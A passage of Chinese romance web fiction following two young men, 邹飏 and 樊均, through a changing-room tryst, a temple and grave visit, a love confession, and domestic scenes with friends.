“嗯。”邹飏应了一声,手往下滑进了他裤子里。 “你给我……”樊均反手抓住了他的手腕,拽了一下居然没拽动,“你洗手了吗!” 邹飏动作停下了,樊均趁着他松劲儿,把他手拽了出来。 邹飏往后退了一步,指了指他,然后往门口走过去,走到门边又指着他:“你待着,敢出来我抽你。” ……好大的口气。 樊均看着他没说话,但也没往外走。 他不知道邹飏要干什么。 十秒之后邹飏搓着手回来了,同时他还闻到了淡淡的酒精味儿。 “操?”樊均愣了。 “架子上有一瓶免洗洗手液,”邹飏冲他挑了挑眉,“谁买了放那儿的,挺周到啊。” “……吕泽买的。”樊均说。 “比我妈买的好,我妈买的那个有点儿黏手。”邹飏用脚勾着门轻轻一带,门关上了。 他凑近,很小心地用小拇指戳了一下把门反锁上了。 然后转过头看着樊均:“怎么样,我讲究吧?” 樊均实在不知道该怎么回答,只能应了一声:“……嗯。” 邹飏甩了甩手,走到了他面前。 樊均看着他。 邹飏动的时候他已经看出来了,第一秒整个身体往下时,他同时抬手就想先防,这个距离,邹飏的习惯就是切肩。 但他失算了最后一步。 邹飏一直以来的习惯都是右肩切,这会儿突然改了左肩,他没防住。 邹飏左肩撞在了他左肋上,力道不大,但他的左臂同时也被邹飏扣住了,以他现在的力量,挣不脱。 下一秒他就被邹飏用肩顶在了墙边的一摞垫子上。 接着整个人就贴到了他身上。 没有任何缓冲,那种熟悉的,能准确地挑动他神经的,无法抗拒的气息,就绕在了他唇边,扫过了耳际…… 刚上完课,邹飏的手指滚烫的,贴着裤腰往下的掌心里有火。 点着了身体里几乎是本能的反应,他揽住了邹飏的腰,偏过头吻了过去。 但邹飏的回应很轻,舌尖掠过,唇角上轻轻一点。 樊均能听到自己呼吸有点儿急,拽着邹飏的裤腰往下拉了一把。 “别动。”邹飏声音很低,带着被喘息扑散了的有些沙哑的颗粒感,很性感。 他没有停下,手腕却被邹飏一把攥住:“你洗手了吗樊教练?” “……我操。”樊均从齿缝里挤出了两个字。 邹飏抓着他的手腕,把他的手放回了自己腰上。 接着右小臂往他胸口横着一压,再慢慢上移,缓缓地顶在了他咽喉稍下的位置上。 如果樊均想动,呼吸会被卡住。 “老实待着。”邹飏声音里带着微微的喘息。 樊均没动,邹飏的腿往前半步,从他膝间蹭过…… 滚滚的掌心焚透欲望的瞬间他微微仰头,靠在了后面的垫子上。 …… 更衣室外的声音渐渐清晰,跳起落在垫子上的声音,脚踢在护具上的声音,猴儿指点小孩儿们的声音…… 樊均闭着的眼睛没有睁开,能感觉到邹飏一直压在他咽喉下的手臂跟着喘息起伏着。 他伸手绕到邹飏背后带了一下,邹飏靠到了他身上,在他耳边轻轻舒出长长的一口气。 又过了一会儿,邹飏才低声问了一句:“有纸吗?” “兜里,我给你拿,”樊均说,“你先别卡着我脖子。” 邹飏笑了笑,胳膊松了劲,滑到了身侧垂着,人还靠在他身上没动。 樊均从兜里摸出纸巾,抽了两张塞到他手里。 “还是湿巾呢?”邹飏低头看了一眼,“樊教练讲究人啊。” “擦不擦?”樊均说,“不擦你就这么出去。” 邹飏啧了一声,低头擦了擦手,又抽了两张收拾着。 “你是不是嗑药了。”樊均也抽了几张纸巾收拾着,“这什么地方你知道吗……” “不是这儿我还没那么兴奋呢。”邹飏说。 樊均看了他一眼。 “你比我快啊。”邹飏收拾完把纸往旁边的小垃圾桶里一扔。 樊均立马过去把纸又拿了出来。 垃圾桶里空无一物,扔这么一堆纸实在有点儿扎眼。 “那不是你不让我自己么,”樊均说,“下次我帮你,给你计个时。” “樊哥!”外面传来了猴儿的一声吼,接着门锁就被拧了两下。 邹飏吓了一跳,转头瞪着樊均:“你再大点儿声?” “我们听障说话是声音大一些的,”樊均说完冲门那边喊了一声,“换衣服呢干嘛?” “李茂手脱臼了!”猴儿又拍了拍门,“你去给他怼一下呗,我不敢。” “来了。”樊均往邹飏身上扫了一眼,过去打开了门。 李茂训练纯就是来玩,这回又是一个月没来,估计一回来就想翻,结果把手给弄脱臼了。 “你也没换衣服啊。”猴儿看了看他。 “内裤,”樊均说完抓着他头顶把他脑袋往训练区那边拧了过去,“走。” “那儿呢!”猴儿往前指了指,跑了过去,“别动,樊哥帮你复位。” 人走开了,邹飏才松了口气,又低头看了看自己,跟着走了出去。 樊均往那边走的时候,把手里拿着的纸扔到了馆里的封闭垃圾桶里。 邹飏啧了一声。 李茂坐在垫子上,抱着自己的左胳膊,一脸坚毅地看着樊均。 “我没事儿!” “没事儿啊?”樊均蹲下看着他。 “嗯!”李茂一扬脸。 “行,”樊均站了起来,“那你待着吧。” “哎哎哎哎……樊哥樊哥……”李茂赶紧跟着也站了起来,一连串地喊。 樊均没说话,拉过他胳膊。 李茂一闭眼儿张了嘴刚要喊,樊均一手大臂一手小臂抓着他胳膊一拉一放。 “呃,”李茂睁开了眼睛,“好了。” “再让我看到你没热身没保护乱翻,”樊均指着他,“我给你胳膊腿儿一块儿卸了让你一次疼个够。” “听到了没!”猴儿立马跟着喊。 “听到了。”李茂小声说。 “滚蛋,”樊均转身,“跑圈儿,跑完吃饭。” 邹飏看着樊均往他这边儿走过来,没忍住勾了勾嘴角。 “怎么了?”樊均看了他一眼,“吃饭去。” “没。”邹飏跟他往外一块儿走。 “哪儿脱臼了吗?”樊均说。 “手腕吧,”邹飏声音很低,“刚累的。” 樊均笑了笑,在他手腕上轻轻捏了捏:“接好了。” 老妈对去烧个香求平安这个事儿很上心,她以前不太信这个,自从去年出事儿之后,时不时就会去旁边的庙里拜拜,但她没让邹飏去那儿。 “这个是日常烧个香,”老妈说,“你得去那个……老吕你给他发个定位,上回我们去过的那个。” “就……”吕叔看了看樊均,“半山上那个。” “哦。”樊均点了点头。 “你知道?”邹飏问。 “嗯,我陪你去,”樊均说,“不远。” “要爬山?”邹飏又问。 “得爬一段儿,”樊均说,“但是也没多高,风景挺好的。” “这叫没多高?”邹飏站在栏杆旁边,看着脚下山谷里的大片绿色,在烈日下闪着白光。 “很高吗?”樊均问。 “这已经爬了半个小时了还没到,”邹飏从裤子侧兜里抽出瓶子,仰头灌了两口,“水都快喝没了。” “上面有卖水的,”樊均说,“你们宿舍之前放假不是还计划去爬山的吗?” “你看我参加了吗?”邹飏啧了一声,“而且他们也没爬到顶,到顶也没这个高,他们要爬的是我们学校北边儿那个什么山。” “要我背你上去吗?”樊均问。 “……我不是爬不动,我是爬烦了,天儿又热,”邹飏叹了口气,转身接着往上爬,“没路的山还行,就这种台阶往上走的太折磨人了……” “快到了,大概再有个十多分钟吧,不停下来咩咩的话。”樊均说。 邹飏听笑了,转头看了他一眼:“你怎么这么可爱。” “不是你吗?”樊均笑笑。 转过前面的弯,进入了背阳的一面,邹飏感觉整个人都舒服了,风再一吹,顿时烦躁也都吹散了。 这会儿又回到了一开始跟樊均夏日里爬山的愉快感觉里。 他往下看了一眼,发现这一面的山前方有一大片整齐的建筑,也不能说是建筑,比正常的建筑要小得多。 “那是什么地方?”他问了一句。 “墓园。”樊均说。 “……啊。”邹飏顿了顿,“在这儿啊。” “嗯。”樊均点了点头。 再往前转了两个弯,身边的人开始变多,也能闻到香火味了。 “到了。”樊均指了指前面的一个指示牌。 往上又上了一溜台阶,他们看到了建在半山一大片空地上的大殿。 “先买瓶水,我渴了。”邹飏看到了旁边有个小卖部。 “我要吃个热狗。”樊均说。 “你不是吧?”邹飏转头看着他,“一小时前咱俩是不是刚吃过早餐?” “快两个小时前了。”樊均拿出手机看了看,“我这阵儿吃得很干净,偶尔一个热狗不会影响。” “是吗?”邹飏问。 “不是么?”樊均看着他。 邹飏看了一眼樊均肚子上扫了一眼,掌心里瞬间仿佛又传来了樊均腹肌的手感,他清了清嗓子:“是。” “所以我要吃个热狗。”樊均说。 “吃,我请你。”邹飏说。 “那我吃两个吧。”樊均说。 “不是,”邹飏听笑了,“你怎么这样?” “那个热狗很小。”樊均说。 “老板,两个热狗,”邹飏说,“两瓶水。” 两人站在大殿外面,靠着栏杆,看着满眼浓浓的绿色。 “还挺舒服的。”邹飏伸了个懒腰,闭上眼睛。 “嗯。”樊均吃着热狗。 “一会儿下山费劲了。”邹飏叹了口气。 “好像有缆车。”樊均说。 “什么?”邹飏愣了,“上来的时候你怎么不说?” “上来的时候不知道,”樊均往小卖部旁边的一条小路指了指,“那儿好像有个牌子,通往缆车。” “我靠!”邹飏把瓶子往兜里一塞,大步就冲过去了。 果然是有缆车,通往山顶,在中间这儿停一站。 “你不是本地人吗?”樊均问。 “你不是吗?”邹飏看着他。 “我南舟坪人。”樊均笑笑。 这个回答莫名其妙地让邹飏心里酸了一下,抬手在他下巴上轻轻勾了一下:“一会儿坐缆车下去。” “嗯。”樊均点头。 他俩都没烧过香,不知道什么流程顺序的,但碰到了一个很热心的阿姨。 “你俩跟着我就行。”阿姨说。 “谢谢姐。”樊均说。 他俩跟着阿姨,挨个进殿,在阿姨的指点下,拜这个拜那个,转了一圈之后,到香炉边把香点了插上。 “你求什么了吗?”邹飏问。 “嗯,大家都平平安安的。”樊均说。 “……我也是,”邹飏说,“我们这愿望会不会太大众化了?应该很多人都是这么求的吧。” “可能这样菩萨更好流水线处理,一般业务最多的那块儿都是最熟的。”樊均说。 邹飏停了停,没忍住笑了起来。 “走,坐缆车去。”樊均说。 “坐过吗?”邹飏问。 “没有,”樊均说,“见都没亲眼见过。” 邹飏没说话,拿出手机打开了录像,跟在樊均身后边走边拍。 缆车这儿人不是太多,排了十几个人,他俩跟着没多大一会儿就轮到了。 樊均一直看着前面的人上缆车。 邹飏拉近了拍了个他侧脸特写,非常好看。 樊均偏过头看着他,低声说:“这玩意儿不停的。” “嗯。”邹飏笑笑。 “别……举那么高,”樊均把他拿着手机的手往下压了压,“后面都在看你屏幕。” “哦。”邹飏应了一声,自己排队这一路过来对着樊均的脸一会儿推近一会儿拉远的……他都有点儿不好意思回头。 缆车是双人的,就一个悬空的椅子,面前横着个栏杆。 有点儿晒,但比封闭式的视野要好得多。 “你不恐高吧?”邹飏问。 “不往下冲的高就不恐。”樊均说。 “过山车吗?”邹飏笑了起来。 “嗯,肠子都转向了。”樊均皱了皱眉,“那会儿就应该看出来你是个变态。” “喜欢变态吗?”邹飏立马问了一句,手机对着他。 “喜欢。”樊均说。 “所有变态都喜欢吗?”邹飏又问。 “我有病啊,”樊均说,“就喜欢你这一个变态。” “嗯。”邹飏点了点头。 缆车的下车点跟他们上山的路不是一个位置,往外走出来,是一个岔路口,另一条路是通往墓园的。 樊均看了邹飏一眼,邹飏正拿手机导航,看从哪边去停车场比较近。 “你累吗?”他问了一句。 “不累,”邹飏看着手机,“就上山那一会儿,早缓过来了。” “那……”樊均犹豫着不知道该不该开口。 “怎么了?”邹飏把手机放回兜里,看着他。 樊均沉默了一会儿才说了一句:“那条路,是去墓园的。” “嗯。”邹飏往那边看了一眼,“就刚我们在山上看到的那个吧?” “是。”樊均点头。 邹飏没说话,看着他。 “我妈妈,”樊均说,“就在那儿,你想……” “好。”邹飏没等他说完就应了一声。 樊均顿了顿。 “我以前就想问你,要不要下次一块儿去,但一直也没敢问”邹飏说,“我怕……就是,我也不知道你是怎么想的。” “我也就去了那一次……”樊均低声说,“后来挺忙的就也没去。” “嗯。”邹飏也没管他俩现在就站在路口,旁边一直有从缆车上下来的人,直接搂住了樊均,在他背上轻轻拍着。 “我昨天就应该跟你说的,”樊均的声音在他耳边,“但是又不知道怎么说。” “现在想好怎么说了吗?”邹飏问。 “邹飏。”樊均叫了他一声。 “嗯?”邹飏应着。 “陪我去……看看我妈好吗?”樊均问。 “好。”邹飏点了点头。 第107章 相比刚才山上的热闹,墓园显得格外寂静,没有车,没有人,也没有什么声音。 车没有开过来,所以到墓园停车场的这一段路,他俩得走进来。 这段路还挺长的,同样是往上走,不过不是台阶,坡度也不大。 墓园这会儿整体都在山影里,没有曝晒,还时不时有风吹过,就算还拎着一大捧花,走得也并不累。 “有个地图,还挺全面。”邹飏看到路边有个地图,走过去看了看,“我们是要去哪个位置?” 樊均走过来,指了指地图最上方:“这一片儿,有点儿远。” “没事儿,慢慢遛达过去吧。”邹飏说,“你饿吗?” “刚吃完,不至于这么一会儿又饿了。”樊均笑笑。 “我饿了,”邹飏摸了摸肚子,一边往前走一边说,“我看刚缆车下来那儿,有个素菜馆,一会儿去尝尝吧?” “素菜?”樊均问。 “你没肉活不了是吗?”邹飏看了他一眼。 “那倒也不是,”樊均笑了起来,“晚饭吃肉就行,一顿素的可以。” 往前又走了一阵儿,路边的墓碑开始变多,一排排的,立在阳光和树荫交织出来的光斑里。 墓园挺大的,从外往里,墓碑也从新到旧,就像走在时间里,两边是一个个陌生人或长或短,或喜或悲的一生。 但没有人知道墓碑后面的故事。 就像没有人知道,樊均妈妈的墓碑后面,她曾经经历过什么,她想过什么,她期待过什么…… 会不会想要知道,后来怎样了。 所以人们才会去扫墓吧,告诉他们后来的事。 一开始樊均还会跟他有一搭没一搭地聊天,快走到地方的时候,樊均开始有些沉默了。 四周只能听到两人的脚步声。 邹飏伸手摸了摸樊均的胳膊,然后拉住了他的手。 樊均转头看了他一眼,笑了笑,握紧他的手:“我有点儿……紧张。” “紧张什么,”邹飏说,“我这么帅,这么优秀,你还怕你妈不喜欢我么。” “那不会,”樊均捏捏他手心,“没人会不喜欢你。” “那不一定。”邹飏说。 “谁不喜欢你了,告诉我,”樊均立马提高了声音,“舅舅帮你揍他!” 邹飏往旁边错开一步,看着他。 “嗯?”樊均也看着他。 “个变态。”邹飏笑了起来。 “比不了你。”樊均说。 的确是有些紧张,哪怕他理智上很清楚,那只是一块写着妈妈名字的墓碑。 情感上却也还是需要妈妈,需要她知道自己现在的生活。 十几年前妈妈选择去死的时候,哪怕眼前是一片黑暗绝望,对现在的他也一定是有希望和期待的。 而他也同样,他想要反复地,不断地,一遍又一遍地梳理自己现在的生活,品味任何一点细小的安宁和幸福。 通向妈妈墓碑的那条窄窄的小路还是老样子,他心里有些忐忑,慢慢走近。 太阳很亮,远处传来蝉鸣。 邹飏跟在他身后,脚步很轻,几乎听不见,但手一直被他握着。 “就是……”樊均停下,微微侧过身,“这里。” 邹飏赶紧上前一步,把一直抱在手里的花放到了墓碑前。 看了一眼碑上面的字,陈小慧之墓,爱子樊均立。 一路看过来,这是最简单的一个碑了。 写在上面的只有陈小慧,和她在这个世界唯一的牵挂。 看到这个碑时,邹飏感觉突然能清楚地体会到,十几年前那个小小的樊均内心的恐惧。 这个世界上,唯一爱他的人,为了他消失了。 小樊均失去了他在这个世界上唯一能给他带来安全感的人。 他直起身,看了看旁边的樊均,不知道这会儿自己是不是应该说点儿什么,还是等樊均先开个头。 但樊均看上去也有些局促,捏着他一根手指,从指尖到指根都捏了一遍,才说了一句:“妈,这个是我跟你说过的……我非常非常想一辈子都……跟他在一起的那个男孩儿,邹飏。” 邹飏看着他,半天都没说话,一直到樊均转头也看着他的时候,他才慢慢蹲下,看着墓碑:“阿姨,我是邹飏。” “他很帅,很聪明,会念……”樊均也蹲了下来。 “这个……”邹飏想要打断他。 但樊均自顾自说了下去:“很多诗。” 邹飏有点儿想笑,又有点儿无语。 “他字写得很好,钢笔字毛笔字都特别好,”樊均继续说,“人也很善良,我养着的那只小猫,就是他捡回来的……” “我捡的猫,你来养,”邹飏小声说,“那不是你善良吗?” “他还很可爱。”樊均看着他。 莫名其妙地就想脸红,明明只是对着一块墓碑,不知道为什么就有种真的面对着樊均妈妈时的紧张感。 “有一点儿变态。”樊均说。 “你说话是不是要注意点儿?”邹飏忍不住问了一句。 “我觉得我妈不会在意这个,”樊均笑了笑,“只要我现在过得舒服,怎么样都可以。” “我也不是特别变态。”邹飏说。 “嗯,一点点,”樊均点头,“你是特别可爱。” “……行吧。”邹飏放弃了挣扎,干脆坐在了地上。 樊均也坐下了:“我第一次去游乐园玩,就是他带我去的,很有意思……就是坐过山车的时候他非要坐第一排,我差点儿要吐了……” 邹飏笑了笑,没再说话,听着樊均小声地跟他妈妈念叨着各种他自己都快忘了的小细节。 虽然樊均现在的话比刚认识那会儿要多了,但他还从来没有听过樊均在没有人接茬儿的情况下连续说这么多话。 絮絮叨叨的像个上了一天课被妈妈接回家的小朋友。 一直说到太阳从头顶移开,他们身后那棵树的树荫开始遮不住阳光时,樊均才终于说完了。 “这段时间我和何川合伙的那个店估计要开始忙了,”樊均说着从裤子侧兜里抽出自己的帽子,扣在了邹飏脑袋上,“得过了这阵儿再过来看你……大概在吕叔和珊姐结婚前吧……妈我们走了啊……” “阿姨我们走了。”邹飏跟着说了一句。 听他絮叨都听累了吧,赶紧休息一会儿。 两个人回到大路着慢慢往回走的时候,樊均长长舒出一口气。 “说累了?”邹飏问。 “说渴了,”樊均看着他,“你那儿还有水吗?” “有。”邹飏从腿兜里抽了水出来递给他。 “你不喝吗?”樊均仰头灌了几口水。 “你都喝了吧,我不渴,”邹飏说,“你是真能说啊……” “嗓子都哑了,”樊均把瓶子里的水灌完了,抹抹嘴,“不知道为什么,就是想说,不说都不知道能记得住这么多事儿。” 邹飏笑了笑,伸手捏了捏他的脸:“那以后也别总说我咩咩了。” “我的确是没有你能咩,”樊均说,“主要是……好像也不知道该跟谁……” “嗯?”邹飏立马一伸手扳过他的脸。 “以前,”樊均赶紧解释,“我是说以前。” “以后呢?”邹飏问。 “以后都跟你说。”樊均说。 “有什么想说的,只要想到了,想说了,”邹飏看着他,“就跟我说。” “嗯。”樊均点点头。 邹飏松了手,把头上的帽子整理了一下,一挥手:“走,吃饭去。” “那个素菜吗?”樊均问。 “对。”邹飏回答。 素菜馆那边儿能停车,他俩打算趁着现在还愿意走路,先去停车场把车开过去。 要不一会儿吃完饭人一懒,去停车场的这条路就会变长一倍。 “其实现在走这段儿我都嫌累,”邹飏伸了个懒腰,“又热又饿……刚就应该我先去店里点菜,然后你过来取车,或者吃完了我在店里等你,然后你过来……” “邹飏。”身后传来樊均的声音。 “嗯?”邹飏愣了愣,回过头才发现樊均不知道什么时候已经停下了,他愣了愣,“怎么?逗你的。” “你刚说,想到了,想说了,就跟你说。”樊均说。 “嗯。”邹飏看着他,点了点头。 “我想到了……前段时间就想到了……”樊均拧着眉,“想了起码一个月了……但是……” 邹飏往回走了两步,看着他,一时判断不出来樊均是想说什么。 “我不敢……”樊均说着,犹豫了一下,伸手到兜里掏着。 邹飏盯着他的手。 这个场景…… 不是吧? 戒指? 在这儿? 不能吧? 樊均的手抽了出来,拿的是他自己的手机。 ……靠。 邹飏莫名有点儿想笑。 但樊均低头解锁手机的表情很严肃,他用犬齿在嘴角咬了一下,把那点儿笑给咬回去了。 “我一直都想说,一直都不敢说,”樊均举起手机对着他,似乎是在录视频,但因为有些紧张,话说得不太利索,“但你……你刚才说,想到了就说……” “嗯。”邹飏点了点头,感觉樊均要说的事儿可能不简单,跟着也开始有些紧张。 “邹飏。”樊均把手机放低,看着他。 “嗯?”邹飏偏了偏头。 樊均的视线一直锁在他脸上,沉默了两秒之后深吸了一口气。 “我爱你。” 邹飏愣住了。 呼吸跟着也停顿了。 四周的一切都静止了。 午后,烈日当头的人行道上。 头顶是此起彼伏的单调蝉鸣,左边是时不时有车经过的街道,右边是不知道什么地方的围墙。 没有什么浪漫的场景,没有什么浪漫的原由,没有什么浪漫的过程,甚至没有一个浪漫的温度。 这简单的三个字。 就这么突然地,没有任何预兆地从樊均嘴里说了出来。 在这么一个平平无奇的,燥热的午后。 几秒钟之后,剧烈的心跳声在耳朵里响起,震得鼓膜生疼。 呼吸这时才被惊醒。 邹飏嗓子眼儿有些发紧,开口的时候声音都是哑的。 “我爱你。”他说。 樊均走到他面前,张开胳膊搂住了他。 滚烫的身体,滚烫的空气,滚烫的呼吸埋在他颈窝里。 烫得他有些眩晕,闭上了眼睛。 “我本来想,”樊均低声说,“准备好一些再说,但是……我也不知道什么时候,什么状态……才叫做准备好了,我刚才突然就……忍不住了,特别特别特别想说……” “这种事不用准备。”邹飏抱紧他。 “我再憋一会儿到餐厅了再说的话,”樊均说,“会不会好一些……” “不用,就现在,”邹飏说,“现在就是最好的。” 头顶的蝉鸣在起伏了很多轮之后,突然达成了同步。 就像乱七八糟的找不着调的大合唱终于在副歌开始时找到了统一的调,不知道多少跑调蝉在这个瞬间同时发出一样的一声“嗞儿——”,震耳欲聋。 他俩被吵得脑袋发胀,抱在一块儿挺过了三个路人的目光之后终于松了手。 “全世界的蝉都在这儿了吧……”樊均说。 邹飏没说话,笑着转身继续往停车场走。 樊均跟了上来,抓住他的手,低头看着手机。 “回味呢?”邹飏扫了他一眼。 “没,就是看看录上没,我……”樊均把手机塞回兜里,“其实不好意思再看一遍。” “一会儿发给我,我好意思,”邹飏说,“我马上就能看八十遍。” “嗯,”樊均应了一声,想想又握了握他的手,“你可别……发给刘文瑞让他剪啊。” 邹飏没忍住笑了起来:“不剪,这种视频,一秒都不能动,得原样留着。” 回到车上,樊均并没有马上开车,打开了冷气对着出风口吹着。 邹飏靠在副驾,看着前方的花坛出神。 不知道刚才是不是被太阳晒得脑子发烫失去了运转能力,到这会儿凉快下来了,樊均那句“我爱你”才开始在他脑子里飞快地反复重播着。 愣了一会儿,他忍不住把上方的遮阳板扒拉了下来,看了一眼镜子里的自己。 果然。 嘴角带着笑。 “怎么了?”樊均问。 邹飏转头看着他:“再说一遍。” “我爱你。”樊均说。 “我爱你。”邹飏说。 樊均凑了过来,在他嘴角轻轻吻了一下:“我爱你。” “我爱你。”邹飏摸了一下他的唇。 “去吃饭吗?”樊均问。 “吃,”邹飏说,“我快饿死了。” 素菜馆就在缆车点旁边,游客很多,这会儿都两点多了,店里还有不少吃饭的人。 馆子外面看着一般,进来之后发现装修什么的很高级。 他俩在二楼的平台上找到了个小桌,挺舒服,满眼山色,时不时会有凉风吹过。 樊均坐下之后愣了一会儿,然后啧了一声。 “嗯?”邹飏看着他。 “在这儿说就好了,”樊均叹了口气,“这儿多舒服。” “就在刚才那儿最好,”邹飏说,“就那一瞬间忍不住才是最好的。” “嗯,”樊均撑着桌子,盯着他看着,过了一会儿才说了一句,“邹飏,你真的……很好。” “你很好我才会很好。”邹飏说。 服务员端了柠檬水过来,一边给他俩倒水一边介绍着餐厅的菜式。 “两个人有推荐的吗?”邹飏问。 “单点的话,菜单上标着推荐的都是我们的招牌菜,”服务员说,“或者您也可以看看双人套餐……” “情侣套餐吗?”樊均问。 邹飏挑了挑眉,看着他。 “不是情侣也可以吃的,”服务员翻开菜单,开始介绍,“我们双人套餐有三种……” “那就这个情侣套餐吧。”樊均指了指菜单上的图。 邹飏忍不住笑了起来。 “好的,那您是要这个三号的……”服务员顿了顿,“情侣套餐对吗?” “嗯。”樊均点点头。 “好的,帮您下单了,”服务员在手里的小机子上点着,“这个……情侣套餐里的饮料可以换,一个苹果汁一个西柚汁,您看需要换吗?” “换成一样的。”樊均说。 “都西柚汁吧。”邹飏说。 服务员走开之后,他看着樊均,笑着问:“你什么毛病?” “怎么了,”樊均说,“我就是想吃个情侣套餐。” “嗯。”邹飏笑着应了一声。 “服务员可能近视,”樊均说,“我们手链都一样的,她没看出来吗?” “嗯。”邹飏还是应着。 “怎么了?”樊均看着他。 “没怎么,”邹飏勾勾嘴角,“就是很……开心。” 第108章 人的感受有时候是很奇妙的。 同样的人,同样的生活,会因为一句话而突然变得不一样起来。 我爱你。 简单的三个字。 跟人开个玩笑都能轻易说出来的三个字。 甚至刘文瑞某宝上买个东西客服给他个优惠他都能回一句“爱你哟”。 这既轻又重的三个字,被郑重地说出口的瞬间,就能让每天睁眼看到的平淡的一切都变得有滋味起来。 “中午也跟他们一块儿吃是吗?”樊均问。 “嗯,”邹飏坐在床边,一边打呵欠一边拿过手机看了一眼,“你真不跟我们去吗?” 今天他们宿舍几个人约好了在刘文瑞的指导下出门给刘文瑞买生日礼物。 “今天装修的过来结算,”樊均说,“何川列了个两米长的单子要扣钱,我要不在,我怕他会被人打死。” 邹飏笑了起来:“都不知道他前二三十年怎么活下来的。” “也挨不少打,”樊均说,“有时候听他说以前的事儿,就感觉他活不了,现在其实跟我们说话的就是个魂儿。” “那你还是去店里吧,”邹飏躺回床上伸了个懒腰,“这个店起码得回本儿了他才能死。” “嗯,你把床单什么的拆一下,今天洗了。”樊均转身往厨房走。 “我拆?”邹飏躺着没动,只是发出了疑问。 “你拆,床单,枕套,直接塞洗衣机里。”樊均说。 “昨天弄脏了吗?也没有吧?”邹飏摸了摸床单,“套儿漏了?那也不能俩套儿都……” “邹飏。”樊均又走了回来。 “做甚。”邹飏问。 “你这个嘴稍微控制点儿,我真怕你说顺了上外头也这么吐噜。”樊均说。 “那不会,我……”邹飏犹豫了一下,感觉自己也不是百分百靠谱,的确偶有散黄,他叹了口气,“这床单枕套什么的不是也没换多久吗?” “医生说一月一换比较好,”樊均说,“你在宿舍不换吗?” “换,但是不知道多久换一次,反正李知越说要去洗床单了我们就换。”邹飏说。 “李知越是不是你们宿舍最期待毕业的……”樊均问。 “滚蛋。”邹飏笑着说。 “拆吧。”樊均说着又转身往厨房走。 “那你呢?你就闲着啊?”邹飏翻了个身,喊了一嗓子。 “昨天你说让我给你煮面!”樊均也在厨房里喊着答,“我这儿正煮着呢!再啰嗦都坨了!” “……哦。”邹飏应了一声,有点儿愉快地站了起来。 拿过樊均的枕头拆掉枕套,再拿起自己的枕头,拆枕套的时候他看到自己枕头下边儿有个棕黑色的方块儿。 “什么玩意儿?”他愣了愣,拿起来看了看。 是一块打磨得很光滑的长方形木块儿,上面有些隐隐的黑色,有差不多半个手掌长,拿在手里沉甸甸的。 邹飏掂了两下之后反应过来,这是从林家渡带回来的那棵雷击木。 樊均用这个雷击木做了个牌子? 什么时候做的? 他从床上蹦起来,跑进了厨房:“樊均!” “哎!”樊均端着个锅往碗里挑面,被他吓了一跳,“枕头咬你了?” “这是你放我枕头底下的?”邹飏把牌子举起来晃了晃。 “嗯,”樊均看清之后笑了笑,“你总算发现了啊。” “是不是那会儿去看的那棵雷击木做的?”邹飏把牌子拿在手里来回搓着,手感很舒服,“是你做的吗?自己打磨的?” “是是是,”樊均把面挑到碗里,一边往里放配菜一边说,“我问何川要了一小块,不是特别好的位置,好的他舍不得给……” “这是干嘛用的?镇纸吗?”邹飏问。 “无事牌,祈福辟邪的。”樊均说。 “专门给我做的吗?”邹飏看着他。 “嗯,”樊均点点头,“你之前睡觉不是总……做噩梦嘛。” 邹飏没说话,走过去从身后抱住了他,低头用下巴在他肩上用力压了压。 “疼啊。”樊均说。 “什么时候放的啊?”邹飏在他耳边问。 “我生日那天。”樊均说。 “我靠,”邹飏愣了愣,“这么久我都不知道?” “因为你不管换床单的事儿。”樊均说。 邹飏笑了起来:“所以今天你非得让我来换。” “你再发现不了,我都能拿它当你今年的生日礼物了。”樊均端起两碗面,往客厅走。 邹飏没松手,搂着他跟到了客厅:“做这个牌子费劲吗?” “还行,不难,就是得一直一直打磨,”樊均把碗放到桌上,反手搂着他的腰,“这个你就放枕头边儿就可以了。” “我最近好像的确没怎么做梦了。”邹飏说。 “要再……去跟医生聊聊吗?”樊均偏过头问了一句。 “等实习完吧,”邹飏说,“现在心情挺好的,不想去见医生。” “嗯,我到时候提醒你。”樊均说。 “怎么,”邹飏松开他,坐到桌边,“怕我不去吗?” “怕你懒得去。”樊均也坐下了。 “不去其实也没事儿,”邹飏吃了一口面,“嗯,味道不错啊。” “有没有事儿医生说了才踏实。”樊均说。 邹飏啧了一声:“你怎么不去。” “我跟你不一样。”樊均说。 “想说我比你脆弱吗?”邹飏扫了他一眼。 “不是。”樊均看着他。 “是想说我们害怕的东西源头不一样吗?”邹飏问,“樊刚的死对于你来说是解脱,对于我来说是噩梦开始,对吗?” 樊均没出声。 “生气了?”邹飏往他那边儿凑了凑。 “没。”樊均说。 “就是生气了,起码快了。”邹飏啧了一声。 “这事儿我跟你生不了气,”樊均皱了皱眉,“我就是……” “知道了,”邹飏打断了他的话,“我知道。” 只有内疚。 这个邹飏比任何人都清楚。 “你知道还一堆屁话。”樊均说。 “吃多了呗。”邹飏接着吃面。 樊均盯着他看了一会儿,没忍住笑了。 “吃啊,一会儿坨了。”邹飏说。 “真的好吃吗?”樊均问,“我没煮过这么复杂的面,我自己吃的话一般就是清水放点儿肉,不会专门做卤。” “真的好吃,”邹飏点点头,“不是我吃你嘴软。” “你吃什么?”樊均愣了愣。 “拿人手短,吃人嘴软!”邹飏瞪着他,“我吃什么,我吃你……” 樊均迅速伸手按在了他嘴上:“邹飏,邹飏,我是没听清,不是想歪了。” 邹飏在他手指上啵儿了一口。 樊均笑着叹了口气。 面还没吃完,刘文瑞的电话打了过来。 “给我买生日礼物,还得我上门,不仅得我上门,还得在楼下等你是吧?” “到了?”邹飏问。 “走了!”刘文瑞喊。 “马上下来,”邹飏把手机拿到眼前看了看,发现有瑞思拜的未读消息,“我吃面呢,嗦得太响了没听见。” “tui!”刘文瑞说,“一堆借口!” 邹飏一路小跑出了电梯,刘文瑞的车就停在楼门口,隔着副驾和车窗都能看到他幽怨的眼神。 邹飏拉开车门跳上去,在他开口之前先把一个红包拍在了他胸口上:“拿着。” “这是什么手段,”刘文瑞笑了起来,“邹总。” “炫个富。”邹飏说。 “你遗产还在走流程吧?”李知越在后座问了一句,“现在就炫上了?” “这阵儿心情好。”邹飏笑笑。 “这好心情能撑到我们生日吗?”张传龙问。 “那必须能。”邹飏说。 “走吧,”李知越笑着踢了一脚刘文瑞的椅背,“想好要什么了没?” “先去了再说,”刘文瑞发动了车子,“我不到最后时刻做不了选择。” “酒吧那边儿就不用我们打电话了是吧?”李知越问,“樊均去联系的?” “嗯,”邹飏点点头,“他已经跟人说好了。” “钱呢?”刘文瑞说,“你把钱给他,我再跟你清账,我直接给他有点儿尴尬。” “场地费用让他出吧,”邹飏说,“酒水什么的你到时自己去结。” “不合适。”刘文瑞说。 